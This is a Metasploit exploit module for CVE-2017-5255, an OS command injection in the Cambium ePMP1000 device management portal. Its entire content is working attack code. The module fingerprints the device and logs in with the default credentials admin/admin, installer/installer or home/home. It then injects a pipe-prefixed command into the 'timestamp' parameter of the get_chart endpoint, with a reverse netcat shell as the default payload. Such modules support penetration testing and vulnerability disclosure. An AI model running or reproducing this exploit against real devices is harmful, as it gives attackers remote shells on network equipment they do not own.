Cambium ePMP1000 – ‘get_chart’ Shell via Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)", 'Description' => %{ This module exploits an OS Command Injection vulnerability in Cambium ePMP1000 device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to set up a reverse netcat shell. The module has been tested on versions 3.1-3.5-RC7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Karn Ganeshen <KarnGaneshen[at]gmail.com>' ], 'References' => [ ['CVE', '2017-5255'], ['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities'] ], 'Privileged' => true, 'Targets' => [ ['CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] ], 'DisclosureDate' => 'Dec 18 2017', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }) ) register_options( [ Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']), OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']) ], self.class ) deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS') end # # Fingerprinting # def is_app_epmp1000? begin res = send_request_cgi( { 'uri' => '/', 'method' => 'GET' } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError print_error("#{rhost}:#{rport} - HTTP Connection Failed...") return false end good_response = ( res && res.code == 200 && (res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/')) ) if good_response get_epmp_ver = res.body.match(/"sw_version">([^<]*)/) if !get_epmp_ver.nil? epmp_ver = get_epmp_ver[1] if !epmp_ver.nil? print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...") return true, epmp_ver else print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...") epmp_ver = '' return true, epmp_ver end end else print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.") epmp_ver = nil return false end end # # check # def check success, epmp_ver = is_app_epmp1000? if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1') return CheckCode::Vulnerable else return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module' end end # # Login # def login(user, pass) res = send_request_cgi( { 'uri' => '/cgi-bin/luci', 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01' }, 'vars_post' => { 'username' => 'dashboard', 'password' => '' } } ) cookies = res.get_cookies_parsed check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s good_response = ( res && res.code == 200 && check_sysauth.include?('sysauth') ) if good_response sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s sysauth_value = sysauth_dirty.match(/((.*)[$ ])/) prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/) res = send_request_cgi( { 'uri' => '/cgi-bin/luci', 'method' => 'POST', 'cookie' => sysauth_value, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Connection' => 'close' }, 'vars_post' => { 'username' => user, 'password' => pass, 'prevsess' => prevsessid } } ) good_response = ( res && res.code == 200 && !res.body.include?('auth_failed') ) if good_response print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") # check if max_user_number_reached? if !res.body.include?('max_user_number_reached') # get the cookie now cookies = res.get_cookies_parsed stok_value_dirty = res.body.match(/"stok": "(.*?)"/) stok_value = "#{stok_value_dirty}".split('"')[3] sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s sysauth_value = sysauth_dirty.match(/((.*)[$ ])/) final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}" # create config_uri config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart' return final_cookie, config_uri_get_chart else print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.') final_cookie = 'skip' config_uri_dump_config = 'skip' config_uri_reset_pass = 'skip' config_uri_get_chart = 'skip' return final_cookie, config_uri_get_chart end else print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") final_cookie = 'skip' config_uri_get_chart = 'skip' return final_cookie, config_uri_get_chart end end end # # open cmd_shell # def cmd_shell(config_uri, cookie) command = payload.encoded inject = '|' + "#{command}" clean_inject = CGI.unescapeHTML(inject.to_s) print_status('Sending payload...') res = send_request_cgi( { 'method' => 'POST', 'uri' => config_uri, 'cookie' => cookie, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With' => 'XMLHttpRequest', 'Connection' => 'close' }, 'vars_post' => { 'measure' => 's', # This parameter can also be used for injection 'timestamp' => clean_inject, 'debug' => 0 } }, 25 ) handler end # exploit def exploit _success, epmp_ver = is_app_epmp1000? if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7') print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.') return else cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD']) if cookie == 'skip' && config_uri_get_chart == 'skip' return else cmd_shell(config_uri_get_chart, cookie) end end end end |